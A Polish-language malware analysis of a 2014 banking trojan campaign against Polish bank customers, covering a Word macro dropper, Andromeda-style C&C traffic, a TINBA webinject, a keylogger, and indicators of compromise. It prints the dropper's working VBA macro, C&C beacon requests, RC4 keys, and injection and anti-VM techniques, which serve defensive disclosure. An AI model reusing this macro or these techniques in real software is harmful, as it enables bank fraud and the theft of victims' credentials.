Przedstawiamy analizę ataku rosyjskiej grupy przestępczej. Celem
ataku są między innymi klienci banków w Polsce.
Nie oznacza to, że zagrożone są wyłącznie osoby posiadające konta w
systemach bankowości internetowej (osobiste bądź firmowe) w wymienionych
poniżej bankach. Zdarzały się przypadki, że intruzom udało się przetransferować
środki z konta ofiary u której był aktywny keylogger oraz vnc.
Opisane złośliwe oprogramowanie pierwszy raz zostało przez
nas zidentyfikowane na początku listopada 2014. Jednak już we wrześniu zaobserwowaliśmy
wykorzystywanie niektórych komponentów złośliwego oprogramowania (keylogger
oraz vnc). Obecnie złośliwy kod zarządzany jest za pomocą botnet-u Andromeda a
moduł webinject wykorzystuje mechanizmy znane z malware TINBA. Zazwyczaj 2-3
dni po infekcji intruzi próbują przetransferować środki z konta ofiary. Z
analizowanych przez nas do tej pory incydentów najbardziej skuteczna metoda
opiera się o moduły keylogger oraz vnc.
Dropper #1
Dropper rozsyłany jest za pomocą wiadomości email z
załącznikiem w formacie edytora WORD. Poniżej zawartość takiego dokumentu
(tekst oznaczony kolorem czerwonym w oryginalnym dokumencie jest biały).
Makro tworzy plik wykonywalny (exe) i zapisuje w nim
dekodowaną zawartość danych po znakach 1234 (w dokumencie docx wyszukuje ciągu znaków
1234). &H to prefix danych zapisywanych bajtów w formacie szesnastkowym w
Visual Basic. Poniżej zawartość skryptów Makro:
TmpName = TmpFile & "docm.exe
Data = ActiveDocument.Range.Text
Dim Text
Dim Pos
Dim Symbol
Pos = InStr(10, Data, "1234")
BytesWritten = Pos + 4
lInputFile = FreeFile
Open TmpName For Binary Lock Write As #lInputFile
While (BytesWritten < Len(Data))
Symbol = Mid(Data, BytesWritten, 4)
Put #lInputFile, , CByte(Symbol)
BytesWritten = BytesWritten + 4
Wend
Close #lInputFile
Shell TmpName, vbNormalFocus
End Sub
Najprostsza metoda to przekopiowanie całego ukrytego tekstu
(bez 1234) do notatnika i usunięcie &H (funkcja zamień). Następnie tekst należy
zapisać jako binarny (np. korzystając z WinHex). W efekcie otrzymujemy plik
wykonywalny (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1).
Punkt wejścia wskazuje na kod w .NET, który możemy poddać
procesowi dekompilacji. W funkcji main() można zauważyć dużo zbędnego kodu i
standardowe fragmenty związane z odczytem zawartości tablicy, alokacją pamięci
i uruchomieniem kodu niezarządzanego (właściwy payload malware). Sposób
odnalezienia miejsca w pamięci, gdzie ładowany jest payload został przez nas
opisany w poprzednim artykule [1].
Jedną z pierwszych operacji wykonywanych przez payload jest
rozpakowanie właściwego kodu malware. Do tego celu została zastosowana funkcja
RtlDecompressBuffer(). Poniżej fragment pamięci przed dekompresją i po
dekompresji.
Fragment pamięci przed wywołaniem funkcji RtlDecompressBuffer():
Fragment pamięci po wywołaniu RtlDecompressBuffer():
Po uruchomieniu w/w kodu malware sprawdza czy są uruchomione
procesy związane z narzędziami VirtualBox i VMWare (instalowanymi zazwyczaj na
systemach wirtualnych).
Złośliwy kod za
pomocą funkcji CreateProcessW() „uruchamiany jest” kilka razy. Uruchamiane są też
aplikacje „systemowe” (msiexec.exe czy hh.exe).
Zanim aplikacje zostaną uruchomione (CreateProcessW() wywoływany jest z
opcją CREATE_SUSPENDED), złośliwy kod wstrzykiwany jest do procesów potomnych (sekwencja
funkcji API: UnmapViewOfSection(), VirtualAllocEx(), WriteProcessMemory(),
SetThreadContext()). Takie zachowanie ma na celu utrudnienie analizy za pomocą
narzędzi typu debugger. Poniżej lista uruchamianych procesów po uruchomieniu
dropper-a:
Plik wykonywalny loader (mslsxktt.exe) ostatecznie kopiowany
jest do C:\ProgramData. Dodawany jest też do gałęzi rejestrów Policies\Explorer\Run
co pozwala na automatyczne uruchomienie przy logowaniu użytkownika.
Wykonywane są też inne modyfikacje związane z wyłączeniem UAC, wyłączeniem
Windows Defender, wyłączeniem powiadomień czy zmianą opcji widoku folderów
(ukrywanie plików).
Fragment złośliwego kodu odpowiadającego za w/w modyfikacje:
Po zainstalowaniu złośliwy kod dekoduje adresy URL serwerów
C&C. Poniżej kod funkcji dekodującej:
00401BA5 55 PUSH EBP
00401BA6 8BEC MOV EBP,ESP
00401BA8 51 PUSH ECX
00401BA9 33C0 XOR EAX,EAX
00401BAB 33C9 XOR ECX,ECX
00401BAD 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401BB0 B9 34000000 MOV ECX,34
00401BB5 807401 FF 7C XOR BYTE PTR DS:[ECX+EAX-1],7C
00401BBA 807401 FF 6C XOR BYTE PTR DS:[ECX+EAX-1],6C
00401BBF 807401 FF 5C XOR BYTE PTR DS:[ECX+EAX-1],5C
00401BC4 49
DEC ECX
00401BC5 ^75 EE JNZ SHORT srcommon.00401BB5
00401BC7 59 POP ECX
00401BC8 C9 LEAVE
00401BC9 C2 0400 RETN 4
Malware modyfikuje
też funkcje GetAddrInfoW() oraz NtMapViewOfSection(). Zastosowana
technika inline hooking za pomocą instrukcji JMP przekierowuje wszystkie
wywołania do kodu malware:
Poniżej fragment odpowiadający za modyfikację w/w funkcji:
Poniżej początek funkcji GetAddrInfoW() po modyfikacji. Pierwsza
instrukcja to instrukcja skoku bezwarunkowego do kodu kontrolowanego przez
intruza.
Zarządzanie
Zainfekowany komputer zarządzany
jest przez złośliwy kod mający wiele cech wspólnych z bot-em o nazwie
Andromeda. Zarządzanie odbywa się za pomocą komend: aRaport i aUpdate. Najpierw
sprawdzana jest dostępność sieci Internet poprzez próbę nawiązana połączenia z
jednym z poniższych serwerów:
Następnie wysyłany jest raport zawierający kilka parametrów,
w tym identyfikator (id) zainfekowanego systemu wygenerowany z cech systemu (nie
można zarejestrować ponownie tego samego komputera).
Pełen zestaw parametrów jest szyfrowany za pomocą algorytmu RC4
i kodowany za pomocą baze64. Wykorzystywany przez RC4 klucz oraz ciąg znaków do
zakodowania przekazywany jest do funkcji szyfrującej (na poniższym przykładzie pod
adresem 0x7FF91B90).
Fragment funkcji, która najpierw
tworzy pseudolosowy strumień 256 bajtów korzystając ze stałego klucza.
seg000:00001BB8 loc_1BB8: ; CODE XREF:
sub_1B90+57j
seg000:00001BB8 mov dl, ss:[ecx+ebp+var_100]
seg000:00001BC0 add al, dl
seg000:00001BC2 add
al, [ebx+esi]
seg000:00001BC5 mov dh, ss:[eax+ebp+var_100]
seg000:00001BCD mov ss:[ecx+ebp+var_100], dh
seg000:00001BD5 mov ss:[eax+ebp+var_100], dl
seg000:00001BDD inc cl
seg000:00001BDF jz short loc_1BE9
seg000:00001BE1 inc ebx
seg000:00001BE2 cmp ebx, [ebp+arg_4]
seg000:00001BE5 jz short loc_1BB6
seg000:00001BE7 jmp short loc_1BB8
Następnie strumień ten używany jest do szyfrowania za pomocą XOR wiadomości.
Przed wykonaniem operacji logicznej XOR ustawiany jest offset (EDX) klucza.
Następnie
zaszyfrowane dane są kodowane za pomocą base64 i przesyłane do serwera C&C.
POST /joomla/administrator.php
HTTP/1.1
Cache-Control: no-cache
Connection: close
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0
Content-Length: 74
Host: *.ru
Base64_encoded_string
Kolejną komendą jest update. Poniżej fragment kodu, który
zapisuje a następnie uruchamia z katalogu tmp plik wykonywalny.
Malware posiada kilka modułów. Między innymi moduł webinject, VNC czy
keylogger. Poniżej fragment zapytania i odpowiedzi zawierającej zakodowany moduł
(PK nie oznacza, że jest to plik
archiwum). Właśnie w ten sposób na stacji roboczej instalowane są kolejne moduły.
Webinject
Jeden z wątków malware za pomocą funkcji
CreateToolhelp32Snapshot sprawdza, czy nie działa proces jednej z poniższych
przeglądarek:
- iexplorer.exe
- firefox.exe
- maxthon.exe
- chrome.exe
Poniżej odpowiedni fragment kodu:
Gdy wykryty zostanie jeden z procesów wtedy złośliwy kod
modułu webinject kopiowany jest do procesu przeglądarki www (sekwencja API: OpenProcess(),
VritualAllocEx(), WriteProcessMemory(), CreateRemoteThread()). Jest to kod innego znanego malware TINBA (Tiny Banker).
Następnie wywoływane są funkcje złośliwego kodu, które za
pomocą techniki inline hooking (z użyciem funkcji VirutalProtect() oraz
WriteProcessMemory()) modyfikują funkcje API biblioteki WININET.dll
(HttpQueryInfoA(), InternetCloseHandle(),InternetReadFile(), HttpOpenRequest(),
InternetQueryDataAvailable(), HttpSendRequest()). Poniżej fragment kodu inicjującego
przechwycenie systemowych funkcji API:
00BD1344 FFD0 CALL EAX
00BD1346 8D83 A1174000 LEA EAX,DWORD PTR DS:[EBX+4017A1]
00BD134C 50 PUSH EAX
00BD134D 8D83 F43C4000 LEA EAX,DWORD PTR DS:[EBX+403CF4]
00BD1353 50 PUSH EAX
00BD1354 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD135A FFD0 CALL EAX
00BD135C 8D83 81174000 LEA EAX,DWORD PTR DS:[EBX+401781]
00BD1362 50 PUSH EAX
00BD1363 8D83 553E4000 LEA EAX,DWORD PTR DS:[EBX+403E55]
00BD1369 50 PUSH EAX
00BD136A 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD1370 FFD0 CALL EAX
00BD1372 8D83 89174000 LEA EAX,DWORD PTR DS:[EBX+401789]
00BD1378 50 PUSH EAX
00BD1379 8D83 A23E4000 LEA EAX,DWORD PTR DS:[EBX+403EA2]
00BD137F 50 PUSH EAX
Plik konfiguracyjny (InkObj.dat) webinject znajduje się w
lokalizacji: C:\Users\<username>\AppData\Roaming\SpeechEngine\. Plik
zakodowany jest za pomocą algorytmu RC4. W ciągu ostatniego miesiąca wykorzystywane
były dwa klucze: "wer8c7ygbw485ghw" oraz “f6hfijqpbdl7czm9”. Opis
dekodowania opisany jest też w innym naszym artykule [2].
Poniżej fragment odkodowanego pliku konfiguracyjnego:
Poniżej fragment plików konfiguracyjnych dotyczących banków
w Polsce. Dla każdego z nich znajduje się jeden lub kilka javascript
umieszczonych w pliku konfiguracyjnym lub na serwerach kontrolowanych
przez atakującego:
Interesujące jest to, że jeszcze na początku listopada w plikach
konfiguracyjnych umieszczony był złośliwy javascript dla https://netbank.nordea.pl*
GP a już pod koniec listopada pojawiły się skrypty dla https://www.ipkonet.p*
GP. Intruzi szybko zareagowali na
migrację systemów bankowości, która miała miejsce na przełomie
października/listopada.
Dropper #2
Kolejnym przykładem pliku infekującego komputer jest
malware załączany do wiadomości email
jako faktura.pdf.exe. Po uruchomieniu w katalogu temp tworzony jest plik wykonywalny
loader-a (api-deui.exe). Zarówno dropper jak i loader są aplikacjami .NET. Z
tablicy odczytują kod niezarządzany (payload zawierający złośliwy kod) i wywołują
funkcję Invoke(). Dokładny opis można znaleźć w poprzednim naszym artykule [1].
Tak jak dropper #1 jedno z pierwszych zadań dotyczy
weryfikacji środowiska, w którym malware jest uruchamiany. Zawartość klucza
rejestru porównywana jest z ciągami znaków (qemu, virtual, vmware, xen). Odczytywana
jest zawartość następującego klucza rejestru: System\CurrentControlSet\Services\Disk\Enum
(dla przykładu VMware może wskazywać na SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S).
Następnie wywoływana jest funkcja GetModuleHandleA() i wynik porównywany z następującymi
ciągami znaków (sbiedll oraz dbghelp). Malware na końcu sprawdza, czy nie jest
zainstalowana aplikacja AutoItv3CCleanerWIC.
Gdy jedno z powyższych sprawdzeń jest prawdą wywoływana jest
poniższa funkcja (nieskończony sleep()):
000642E5 CALL DWORD PTR DS:[664600] ;kernel32.Sleep
000642EB JMP SHORT 000642E0
Gdy nie ma nic podejrzanego loader do procesu explorer.exe wstrzykuje
złośliwy kod. Za pomocą techniki modyfikującej wskaźnik w Import Address Table
przechwytywana jest funkcja CreateProcessW():
W pierwszej kolejności zbierane są informacje na temat
systemu:
tasklist.exe /SVC
driverquery.exe
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
Następnie uruchamiany jest keylogger który:
- rejestruje informacje o uruchamianych procesach i wpisywane przez użytkownika dane
- rejestruje parametry przesyłane przez przeglądarkę (GET i POST)
Zebrane dane przechowywane są tymczasowo w podkatalogu
użytkownika AppData\Roaming\Microsoft\.
Następnie pliki są kompresowane za pomocą makecab.exe i do czasu
przesłania na serwer C&C zapisywane w katalogu temp zainfekowanego użytkownika. Poniżej fragment komunikacji z serwerem C&C:
Cechy wspólne Dropper #1 oraz Dropper #2:
- W niektórych próbkach identyczne metody weryfikacji systemów wirtualnych,
- Ten sam typ loader-a i te same metody uruchamiana payload,
- Oba były zainstalowane na skompromitowanych stacjach roboczych,
- Wszystkie zarządzane przez C&C z Rosji.
Wartości MD5 analizowanych próbek:
- Information_76397.doc (MD5: 6A574342B3E4E44AE624F7606BD60EFA)
- Tempdocm.exe (dropper) (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1)
- mslsxktt.exe (loader), mscjk.exe (loader) (MD5: 3BBF4DF2B83F4D6CA426F982203E7454)
- spcommon.exe (MD5: B5BB7193977CBD3D592A07E114700634, MD5: C75F4A1E059A901F7A71E5E3D673163A)
- faktura_90431_09_2014_TOPUP.pdf.exe (dropper), faks_list1_29.09.2014.pdf.exe (dropper) (MD5: 30E9BBA78B08BBE089FAB353F3B61D1E)
- api-deui.exe (loader) (MD5: D61863B2EBBC3B7DEEC1BAC2B2CD4526)
Źródła:
[1] http://malware.prevenity.com/2014/11/banking-trojan-analiza-loader-net.html
[2] http://www.prevenity.com/files/Faktura_Orange_Malware_2014.pdf
[3] http://hasherezade.net/malware/dofoil/index.html
[4] http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-a-massive-hsbc-themed-email-campaign.html